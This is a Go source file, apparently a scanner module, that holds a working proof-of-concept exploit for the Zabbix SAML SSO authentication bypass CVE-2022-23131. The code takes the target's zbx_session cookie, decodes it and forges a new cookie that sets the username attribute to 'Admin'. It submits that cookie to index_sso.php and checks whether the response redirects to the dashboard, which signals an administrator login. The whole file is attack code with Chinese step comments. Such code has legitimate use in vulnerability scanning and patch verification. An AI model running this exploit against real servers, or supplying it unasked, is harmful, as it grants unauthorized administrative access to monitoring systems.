package poc

import (
	"crypto/tls"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"net/http"
	"net/url"
	"regexp"
	"strings"
)

func CVE_2022_23131(targetURL string) {
	// 忽略TLS证书验证
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{
		Transport: tr,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			// 返回一个错误以阻止重定向
			return http.ErrUseLastResponse
		},
	}

	// 发起GET请求
	resp, err := client.Get(targetURL)
	if err != nil {
		//fmt.Println("Error sending request:", err)
		return
	}
	defer resp.Body.Close()

	// 获取Set-Cookie头部
	cookie := resp.Header.Get("Set-Cookie")

	// 提取zbx_session
	sessionReg := regexp.MustCompile(`zbx_session=(.*?);`)
	sessionMatches := sessionReg.FindStringSubmatch(cookie)

	if len(sessionMatches) > 1 {
		session := sessionMatches[1]
		decodedSession, err := url.QueryUnescape(session)
		if err != nil {
			//fmt.Println("Error decoding URL:", err)
			return
		}

		// 解码Base64并解析JSON
		base64Decoded, err := base64.StdEncoding.DecodeString(strings.TrimSpace(decodedSession))
		if err != nil {
			//fmt.Printf("Error decoding session: %v (input: %s)\n", err, decodedSession)
			return
		}

		var sessionJSON map[string]interface{}
		err = json.Unmarshal(base64Decoded, &sessionJSON)
		if err != nil {
			//fmt.Println("Error unmarshalling JSON:", err)
			return
		}

		// 构造未加密的Payload
		payload := fmt.Sprintf(`{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}`, sessionJSON["sessionid"], sessionJSON["sign"])

		// 加密后Payload
		payloadEncoded := base64.StdEncoding.EncodeToString([]byte(payload))
		payloadURLEncoded := url.QueryEscape(payloadEncoded)

		// 伪造cookie登录
		indexSSOURL := targetURL + "/index_sso.php"
		req, err := http.NewRequest("GET", indexSSOURL, nil)
		if err != nil {
			//fmt.Println("Error creating request:", err)
			return
		}

		req.Header.Set("Cookie", "zbx_session="+payloadURLEncoded)
		respSSO, err := client.Do(req)
		if err != nil {
			//fmt.Println("Error sending index_sso.php request:", err)
			return
		}
		defer respSSO.Body.Close()

		// 检查Location头
		location := respSSO.Header.Get("Location")
		if strings.Contains(location, "zabbix.php?action=dashboard.view") {
			flags := Flagcve{targetURL, "Zabbix_CVE_2022_23131", "伪造cookie登录：" + payloadURLEncoded}
			echoFlag(flags)
		}
	}
}
